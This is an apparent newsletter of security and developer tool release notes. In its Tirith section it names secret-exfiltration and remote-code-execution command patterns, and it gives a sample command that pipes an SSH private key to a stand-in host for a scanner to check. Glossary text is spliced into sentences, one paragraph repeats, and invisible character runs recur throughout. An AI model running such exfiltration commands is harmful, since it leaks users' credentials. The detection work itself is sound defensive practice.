The Cyber Toolchain — issue 129, November 3, 2026

Bugcrowd adds three new organization roles: Test Operator, which can launch, stop, and configure Savant Pathseeker autonomous tests across approved assets and read asset inventory to select test targets (must be explicitly granted by an Organization Owner, not included with any program role by default); Asset Owner, which can manage asset inventory, discovery, scans, and groups, and triage findings across all programs; and Asset Viewer, which can view asset inventory, the discovery feed, and scan status, and view findings across all programs.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ The existing Organization Owner role now also includes full access to assets in addition to all security programs and submissions.

Semgrep Guardian now checks local PHP and Node.js versions at the start of each Claude Code and Codex session, flagging versions affected by the PHP2Shell and Node2Shell remote code executionremote code executionRemote code execution, the ability to run attacker-chosen code on another system through a vulnerability. Its impact depends on the permissions and access that code receives. vulnerabilities; these checks can be disabled by setting SEMGREP_GUARDIAN_PHP_CHECK and SEMGREP_GUARDIAN_NODE_CHECK to off.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Guardian also adds authentication options: set SEMGREP_GUARDIAN_TOKEN_COMMAND to a program that prints an OAuth token so Guardian uses it directly without opening a browser (for environments like Coder external authentication), and re-authenticate after credentials expire by running /semgrep:reconnect in your coding agent.

$ export SEMGREP_GUARDIAN_PHP_CHECK=off

$ export SEMGREP_GUARDIAN_TOKEN_COMMAND='cat /run/secrets/semgrep_token'

Supply chain dependency analysis now supports Bun projects that use a bun.lock lockfile with a package.json file, including direct and transitive dependencies and workspaces. The binary bun.lockb format is not supported; convert with bun install --save-text-lockfile --frozen-lockfile --lockfile-only and then delete bun.lockb.

$ bun install --save-text-lockfile --frozen-lockfile --lockfile-only && rm bun.lockb

Python packages declared with a version range or without a version in requirements.txt now show the declared range, marked with an unpinned icon, in the Version column on the Dependencies page. SBOMSBOMA software bill of materials, an inventory of the components and versions inside an application. It helps teams find affected software when a dependency has a vulnerability or licensing issue. exports list them as CycloneDXCycloneDXAn open standard for describing software components and their dependencies, vulnerabilities and other supply-chain information. Tools use it to exchange bills of materials and related evidence. components without a version, with the declared range included as a component property.

Semgrep Agentic Workflows adds the Detect-2Shell workflow, which identifies repositories whose Node.js or PHP version may be affected by the Node2Shell or PHP2Shell remote code execution vulnerabilities by checking Docker image tags, .nvmrc files, infrastructure-as-code files, and CI setup steps.

zizmor's input collection is now root-aware by default, so invocations like zizmor . no longer collect inputs that GitHub Actions would not actually use, eliminating spurious findings from workflow definitions in vendored directories.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Tirith now flags secret-file exfiltration over netcat and socat — nc host 9000 < ~/.ssh/id_rsa, cat .env | socat TCP:host:9000 -, TLS variants with ncat --ssl and socat OPENSSL:, and whole-environment dumps piped to an upload — as data_exfiltration, and extends the same finding to curl -d @/dev/stdin, -T /dev/stdin and wget --post-file=/dev/stdin reading secret files from stdin.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ It also detects downloaded output run as program source via python3 -c "$(curl …)", node -e, php -r/-B/-R/-E, bash -c "$(curl …)", eval "$(curl …)", source <(curl …) and deno eval "$(curl …)" as interpreter_suspicious_inline_exec in POSIXPOSIXA family of standards for operating-system interfaces, including process, file and shell behavior. Software that uses these interfaces is easier to move between compatible systems. shells and fish, and closes a gap where versioned interpreter names — python3.12, pypy3, perl5.34, php8.2, ruby3.3, nodejs and others — previously passed undetected as pipe sinks or inline program targets.

$ tirith check -- nc exfil.example.com 9000 < ~/.ssh/id_rsa

tirith check JSON output (schema 3 and 4) gains a boolean requires_approval field, and every agent adapter now denies a command marked requires_approval: true instead of just warning. TIRITH_HOOK_WARN_ACTION can be set to allow, ask or deny to control warned commands in agent hooks — ask surfaces an interactive prompt in Claude Code, VS Code, Copilot CLI and Cursor and denies with guidance elsewhere — and the policy setting allow_bypass_env_noninteractive: true honors a TIRITH=0 bypass in the zsh non-interactive guard, with tirith check --json now printing a full verdict (action: "allow", bypass_honored: true, requires_approval: false, exit 0) for an honored bypass instead of no output.

tirith setup <host> --scope <scope> --force rewrites installed agent adapters to enforce the new approval requirement, leaving .tirith-backup-v2-* recovery copies alongside the rewritten files. Re-run with --install-zshenv to also update the ~/.zshenv guard; --force alone and tirith doctor --fix leave the 0.4.x guard in place.

$ tirith setup claude-code --scope user --force

tirith trust add now requires --rule RULE or --all-rules and writes grants to trust-grants.json instead of trust.json; run tirith trust migrate to move existing trust.json entries into the new file. Migrated entries stop applying if you downgrade to 0.4.x.

$ tirith trust migrate

IaC auto-approve detection now checks every command on a line, so cd infra; terraform apply -auto-approve now warns (iac_apply_auto_approve, exit 2) and cd infra; terraform apply now blocks when iac_require_plan_before_apply: true.

The package_lookup_incomplete finding replaces analysis_incomplete for live OSV.devOSV.devAn open-source vulnerability database and API maintained by Google that aggregates CVEs and ecosystem-specific advisories in a unified schema, giving cyber tools a single feed to query for package-level vulnerability data. and deps.dev lookups that could not finish; policies that handle pip install or npm install warnings by adjusting analysis_incomplete must be updated to name package_lookup_incomplete.

Reduces agent false positives so these patterns now pass: if/while bracket conditions over substitutions, POSIX variable-named commands, python3 -c data pipelines, here-strings into jq, xargs -I{}, { …; } groups, common eval "$(…)" shell-setup lines, function bodies with ${…} expansions, large heredoc writes, curl to localhost with no proxy, .app and .dev TLDs, header expansions such as -H "Authorization: Bearer $TOKEN", and wrapper spellings like nice -n5 and timeout -k1 5. Plain LAN health checks such as curl http://192.168.1.20:8080/health now warn instead of block.

tirith pkg install and tirith pkg approve now refuse on every host; use tirith install --no-exec to analyze an install instead.

Psalm 7.0 no longer reports MissingPureAnnotation, MissingAbstractPureAnnotation, MissingImmutableAnnotation, or MissingInterfaceImmutableAnnotation by default.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Projects that rely on these must set suggestPurityAnnotations="true" in psalm.xml to restore them.

<psalm xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       suggestPurityAnnotations="true"
       ...>
  ...
</psalm>

Carbon $timestamp is now read as int, and diffForHumans()'s $syntax parameter (plus its from, since, to, until, fromNow, toNow, ago aliases) is typed as CarbonInterface::DIFF_* constants, with out-of-range integer arguments reported.

GitHub Actions will block pull_request_target events by default in all public repositories starting December 2, 2026, via a new workflow execution protection rule, preventing fork-sourced untrusted code from accessing base-repository secrets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Teams can use workflow file targeting inside an Actions event policy to explicitly allow pull_request_target for specific workflows rather than the whole repository, and can preview impact via the Insights view while the rule runs in evaluate mode. Brownout enforcement windows on November 9 (16:00–18:00 UTC) and November 16 (16:00–18:00 UTC) will surface affected workflow runs early before full enforcement.

A new report command generates self-contained HTML or Markdown reports summarizing verdict, top risks, and coverage gaps, suitable for handing off to a team lead or filing as an audit artifact.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Example usage: skylos report . --format md.

$ skylos report . --format md

The Scan Profile replaces the previous binary toggle for low-probability scan categories with a configurable selection tree, letting users include or exclude individual categories such as File Read or Database Read, with a count indicator showing how many categories are selected.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

The Scan Profile now lets users include or exclude individual low-probability SAST scan categories, such as File Read or Database Read, via a configurable selection tree — replacing the previous binary toggle.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Changes apply to the next scan, and the UI shows a count of selected categories.

Setting the PLUMBER_SCORE_PAYLOAD_OUT environment variable to a file path captures the exact bytes sent during a score push, useful for auditing what was signed.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

$ PLUMBER_SCORE_PAYLOAD_OUT=score-payload.json plumber analyze github.com/owner/repo

Organization-wide alerts can now track up to 5 branches per repository, with alerts broken down by label, repository, and branch in the dashboard.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Branches can be added via Settings -> Scans -> Tracked Branches using plain names or glob expressions (e.g. release/*) to receive alerts, webhooks, and email notifications across branches such as beta, canary, or legacy. API users can track non-default branches by setting the branch and set_as_pending_head fields when creating a full scan.

⤢ ⤢

$ curl -X POST https://socket.dev/api/full-scan \
  -H 'Authorization: Bearer <token>' \
  -H 'Content-Type: application/json' \
  -d '{"branch": "canary", "set_as_pending_head": true}'

Adds is_sqlite_sidecar to replace hand-written sidecar filters across 56 modules, and reads committed state, previous WAL generation leftover frames, and uncommitted tails from sqlite_wal v0.1.0 — recovering hidden rows from Samsung Honeyboard, Snapchat, Phone Link, Discord, Telegram, and Google Chat.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Adds new artifacts for Google Play Store App Data Usage (reading data_usage.db, one row per package, date, and network state combination including byte counts), Google Play Services Screen Lock State History, Telegram Push Messages (unread_push_messages), Phone Accounts (alongside call logs that now include the SIM ICCID for each call), Health Connect (Android 14+), Samsung Smart Switch, Bluetooth File Transfers (btopp.db), Blocked Numbers, Android Auto Rejected Cars, Setup Flags, boot reason entries from the persistent property store, one database per Android user in frosting, Calendar, Settings Search, My Files recents, Android Auto, image rows from cmh when location_view cannot be queried (Android 16), Instagram Pending Media, Samsung Launcher Search History, Samsung Wi-Fi networks and foreground apps (TcpMonitorApInfo.json), Package Rollback Records, Permission Controller Safety Label History, Permission Change Dates, Permission Controller Log, Google Maps Sync places and people, Battery Stats Daily Package Changes, Wi-Fi IP Memory Store, Call Data Logs (Scone), and Mozilla browser profile times.

Supports -t raw NTFSNTFSThe default file system format for Windows, developed by Microsoft, storing files with rich metadata and access controls; cyber tools target it to parse artifacts like timestamps, alternate data streams, and the MFT., ReFS, exFAT, and FAT name case-matching on macOS and Linux to match existing Windows behaviour.

Adds Chromium artifacts for Omnibox Shortcuts, Browsing Topics API usage, web notifications, website usage events and share history, Site Permissions with permission prompt actions and counts, the File System API including bucket storage, AccountBookmarks in Bookmarks, and ETag and Last-Modified fields in Downloads.

A shared reader — vendored from sqlite-wal v0.1.0 — reads committed rows, the previous WAL generation, and an uncommitted tail.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ is_sqlite_sidecar replaces hand-written sidecar filters in eleven modules, and Snapchat, Google Photos, Google Chat, Life360, Discord and Bluetooth LE now surface rows only earlier WAL states hold.

Improves -t raw acquisitions: matches NTFSNTFSThe default file system format for Windows, developed by Microsoft, storing files with rich metadata and access controls; cyber tools target it to parse artifacts like timestamps, alternate data streams, and the MFT., ReFS, exFAT and FAT filenames case-insensitively on macOS and Linux, processes a file matched by two patterns of one artifact only once, and now matches Call History Transactions, Spotlight Index and Twint stores at a bare Data volume root.

Improves Chromium browser handling: reads every Chrome and Edge profile folder, not only Chrome/Default, including Login Data For Account and the Google app's Login Data, surfaces AccountBookmarks in the Bookmarks artifact, and names each Chromium browser from its app container's MCMMetadataIdentifier rather than words in the staged path.

Adds new artifacts: Hive box inventory (vendored hive-parser); C2PA provenanceprovenanceEvidence recording where a software artifact came from and how it was built, including its source and build process. It helps a consumer check that the artifact matches a trusted build. (vendored c2pareader 0.2.0); Chrome Sync and Chromium Open Tabs for iOS Chromium browsers; Focus mode configurations and assertions; Find My cache; HomeKit Homes, Users and Accessories (read from homed/datastore.sqlite and homed/core.sqlite); Suggestions Store contact details and URLs (from Suggestions/entities.db); Widget Engagements (from _ATXInfoSuggestionStore.db); Meta Apps Time In App (from time_in_app_<id>.db); Quick LookQuick LookA macOS feature from Apple that lets users preview file contents without opening the associated application, useful for cyber tools that need to surface file data quickly in a UI. Thumbnails (thumbnails.data rendered); Keyboard Text Replacements (TextReplacements.db); and Playback Session Archives, Life360 Location State Samples, mt.lastLaunch App Dates, CarKit Connection Events, Contacts Me Card Donations, FaceTime Messages, Line Calls, Lockdown Pair Records, Pending Notifications, and Photos Picker Log.

Adds new unified log artifacts covering Lockdown Mode, passkeypasskeyPhishing-resistant sign-in credentials built on FIDO2/WebAuthn: the device holds a private key and proves possession instead of the user typing a password. They sync across a user's devices. record loads, background shortcut actions, and VPNVPNA virtual private network, an encrypted tunnel between devices or networks. It carries traffic across another network as though the endpoints had a private connection. connectivity, plus new artifacts for Screen Time store artifacts (RMAdminStore), SMSSMSShort Message Service, the protocol built into cellular networks for sending text messages between phones; cyber tools use it for alerting, two-factor authentication delivery, or phishing simulation over mobile channels. and iMessage reactions, edit history, unsent parts, replies, recently deleted, link previews and app messages, sysdiagnose associated domains, MC event lists, Network Extension, iCloud Drive (brctl), and process task info, contributed by @danjethh.

Automations are now unified, consolidating alert and notification automation workflows into a single system.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Adds configurable timeouts, including per-automation turn timeouts and configurable timeouts for detection engine syncs, giving operators more control over automation and sync behaviour.

Added openai_embeddings to the YAML configuration to enable OpenAI embedding support, added Claude Haiku as an available SOAI assistant model alongside existing options, and raised the SOAI Sonnet default small context limit to 1 million tokens.

Added custom_bind_mounts support to so-kafka and so-soc containers for custom volume mappings.

Updating the CDR StackSetStackSetAn AWS CloudFormation construct that deploys and manages stacks across multiple accounts and regions from a single template, letting cyber tools provision infrastructure at scale without per-account manual work. to the latest template enables four new detections, PLERION-CLOUDTRAIL-86 through PLERION-CLOUDTRAIL-89, that fire when a case is created or updated, or when a comment is added or edited.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ The detections are Medium severity and off by default, so they must be turned on in your profile.

New GCP check PLERION-GCP-340 reads Compute Engine instance startup scripts from metadata keys startup-script, user-data, and the Windows startup and sysprep script keys, and fails the instance at Medium severity when a script holds a hard-coded credential. The finding names the metadata key, and the matched value is masked before storage.

New GCP check PLERION-GCP-341 reads the public image license on a Compute Engine instance's boot disk and fails the instance at Medium severity when the OS is past end-of-life, covering Debian, Ubuntu, CentOS, RHELRHELRed Hat Enterprise Linux, a commercially supported Linux distribution maintained by Red Hat, chosen by cyber tools for its long support lifecycle, certified hardware compatibility, and enterprise deployment prevalence., Rocky Linux, AlmaLinux, Oracle Linux, SUSE, and Windows Server images.

DownOptions.Images is now typed as api.ImagePruneMode; a string variable passed where it was previously accepted now requires an explicit conversion.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ compose.ServiceHash, compose.NetworkHash, and compose.VolumeHash are no longer exported; code that referenced them must switch to the internal package or remove the call. The interactive up keyboard menu is no longer built by the library; callers must set NavigationMenu: true AND supply an implementation via compose.WithNavigationMenu(...), or no menu is displayed. Up now ignores StartOptions.Project and operates only on the project passed directly to it; callers relying on StartOptions.Project must pass the project directly.

Adds new library API capabilities: PushOptions.IgnoreMissing lets callers skip locally absent images when calling api.Compose.Push, and UpOptions.Validate() lets callers validate Up option combinations upfront, returning *api.IncompatibleOptionsError (matchable with errors.Is(err, api.ErrIncompatibleOptions)) instead of silently ignoring them.

Adds --ignore-missing to docker compose push to skip images not available locally during push, --all-projects and --aggregate to docker compose stats for cross-project resource monitoring with per-service rollups, and --no-recreate to docker compose run to reuse existing dependency containers without recreating them.

$ docker compose push --ignore-missing

$ docker compose stats --all-projects --aggregate

Adds a umask service attribute in compose.yaml to control the file-creation mask inside the container, and lets a service opt out of its own name as a network alias in compose.yaml.

services:
  api:
    image: myapp:latest
    umask: '0027'

Agentless Vulnerability & Threat Detection can now be deployed directly into your own AWS Virtual Private Cloud (VPC) via CloudFormationCloudFormationAn AWS service that lets you describe and provision cloud infrastructure as declarative YAML or JSON templates, so a cyber tool can reproducibly spin up or tear down its entire AWS environment with a single API call., for greater network isolation and control.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Configure this under Cloud Security → Cloud Accounts → AWS by selecting the CloudFormation deployment method and choosing your target VPC.

Cribl adds Telemetry Decisions Bench, a public benchmark and leaderboard covering 4,806 production-like IT, security, and telemetry decision tasks across 10 task families, reporting accuracy, negative log-likelihood (NLL), expected calibration error (ECE), latency per decision, and cost for API models.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

⤢

Cribl adds cribl-decision-2, a family of open-weight decision models available for download from Hugging Face, with sizes at 0.8B (20 ms per decision) and 4B (78 ms per decision), trained specifically for telemetry classification and routing decisions.

⤢

New WITH HISTORY and WITHOUT HISTORY clauses on ALTER SHARE ADD VIEW and ALTER SHARE ALTER VIEW let you control whether a view's full history is exposed to Delta Sharing recipients; existing history defaults are unchanged for views already shared.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

$ ALTER SHARE my_share ADD VIEW my_catalog.my_schema.my_view WITH HISTORY;

Databricks Genie Agent can now analyze unstructured files stored in Unity Catalog volumes — including PDFs, slide decks, and images — and answers queries with citations pointing to the source page. Workspace admins control access via the Previews page by enabling 'Analyze files in volumes with a Genie Agent' under Settings > Previews.

⤢ ⤢

Unity Catalog secrets now support the BROWSE privilege, letting users discover secrets and their metadata without read access to values or code references, by granting BROWSE on a catalog. Per-schema and per-metastore secret limits were raised to 1,000 secrets per schema and 10,000 per metastore (up from 100 and 1,000), for both Databricks-managed secrets and secrets backed by AWS Secrets Manager.

Free and Starter users now pay one credit per UI or API action, replacing the previous tiered costs (lookup: 1 credit, standard search: 5 credits, advanced/regex query: 8 credits), so monthly allotments go further.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Django secret key fallbacks can now be supplied through the DD_SECRET_KEY_FALLBACKS environment variable instead of being hardcoded in settings.dist.py or local_settings.py.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

$ DD_SECRET_KEY_FALLBACKS='oldsecret1,oldsecret2' docker compose up

API requests that include a dcv_method not enabled in the account's configuration now return invalid_value (on order or add-domain requests) or dcv_method_not_allowed (on DCV method changes) instead of silently succeeding.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ This is governed by the DCV methods setting under Settings > Preferences > Advanced Settings > Domain Control Validation, which now applies across order endpoints, Change DCV method (pending orders), Add domain, and Change DCV method (domain validation).

⤢

DigiCert CertCentral now issues all browser-trusted TLS certificates (DV, OV, and EV) from the G5 root hierarchies — DigiCert TLS RSA4096 Root G5 and DigiCert TLS ECC P384 Root G5 — by default across DigiCert, GeoTrust, Thawte, RapidSSL, and Encryption Everywhere brands. All new orders, renewals, reissues, and duplicates use these roots, so trust stores, hard-coded CA trust, or pinned certificates lacking the G5 roots and intermediates will see service disruption.

Search agent sessions from the Sessions page on Runlayer-hosted deployments, or let agents search them through the Runlayer MCP tools; results cover sessions from October 29, 2026 onward.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ On self-hosted deployments, enable search by running the session search indexer in write mode, and set SESSIONS_SEARCH_API_ENABLED=false on the backend to hide the search UI until the indexer is ready.

SESSIONS_SEARCH_API_ENABLED=false

Read exact file bytes from OneDrive and SharePoint with format: "raw" on onedrive_read_file and sharepoint_read_file, and read files up to 50 MB with allow_large_file.

{
  "tool": "sharepoint_read_file",
  "arguments": {
    "file_id": "<file_id>",
    "format": "raw",
    "allow_large_file": true
  }
}

Runlayer Plugin's search_tools now returns readOnlyHint, destructiveHint, idempotentHint, and openWorldHint as annotations in nested mode, letting agents select read-only tools without enumerating every connector.

Read spend data from the Runlayer MCP using three new tools — get_spend_cost_breakdown (spend per provider and model), get_spend_people_usage (the All users list), and get_spend_department_usage (spend by department) — each requiring the View company metrics permission.

AI Watch now routes eligible users' Claude Desktop through the LLM Gateway when LLM routing is on, with short-lived per-device tokens, budgets, and Sessions.

Self-hosted egress proxy now accepts a list of DNS filter block answers so blocked agent destinations are refused immediately and recorded in response and audit logs.

Obsidian now renders Mermaid diagrams using a new library called Pele, compatible with Mermaid 12.1.0 syntax, with --mermaid-* CSS variables for colors, corner radius, and font weights, and .pele-* element classes.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Diagrams are now always rendered without a prompt (the Show Mermaid diagrams in notes setting was removed), are responsive to note width, and can be zoomed and panned when scaled down. Obsidian no longer bundles the Mermaid library; loadMermaid() and window.mermaid now draw with Pele and the SVG output carries .pele-* classes instead of Mermaid's — plugins matching full node names like formatting-code_inline-code will miss closing tokens and must match formatting-code instead.

Quick Capture on iOS can record voice notes that transcribe as you speak, including from the Lock Screen; recordings can be saved to your vault (requires iOS 26).

Vim mode now supports g?, :put, search patterns in : ranges such as :/foo/,/bar/d, Vim-style regexes with :set nopcre, and <A-…> mappings on macOS.

Bases now supports dragging to reorder filters and a per-filter-row menu to add filters or move them between All views and This view. Bases search now reports when a result limit hides matches, for example Showing 10 of 40. Formula fields in Bases can now be resized up to the width of the window. On phones, Bases filters are now in the Display menu as draggable cards, and the result count shows in the search bar.

The PIXI global is now loaded on first graph open rather than at start-up; plugins can call loadPixi() to load it earlier.

New URI and CLI commands let you append or prepend content under a specific heading in a note, with options that also control line breaks around the inserted content.

Notes can now be exported to PDF directly on iOS and Android, via the three-dot menu's Export as PDF option.

Under Security > Settings > AI Crawler and Agent access policies (replacing the former Configure AI bot policies setting), customers can now set individual access actions for specific top Personal Agents rather than applying one blanket rule.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ Personal Agents inherit the existing Agents policy by default, and Cloudflare recommends Allow (do not block) as the default action.

⤢